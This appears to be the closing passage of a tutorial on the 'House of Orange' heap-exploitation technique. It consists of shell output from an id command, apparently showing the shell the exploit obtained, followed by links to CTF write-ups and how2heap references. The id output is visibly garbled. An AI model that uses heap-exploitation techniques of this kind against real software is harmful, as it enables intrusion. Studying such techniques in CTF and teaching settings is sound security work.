uid=10011000(lazenca0x0) gid=10011000(lazenca0x0) groups=1001(lazenca0x01000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $ |
Related information
- http://4ngelboy.blogspot.jp/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
- https://github.com/shellphish/how2heap/blob/master/house_of_orange.c
- http://www.hardtobelieve.me/index.php/2017/02/16/uba-and-fsop/
- http://uaf.io/exploitation/2017/09/03/TokyoWesterns-2017-Parrot.html
...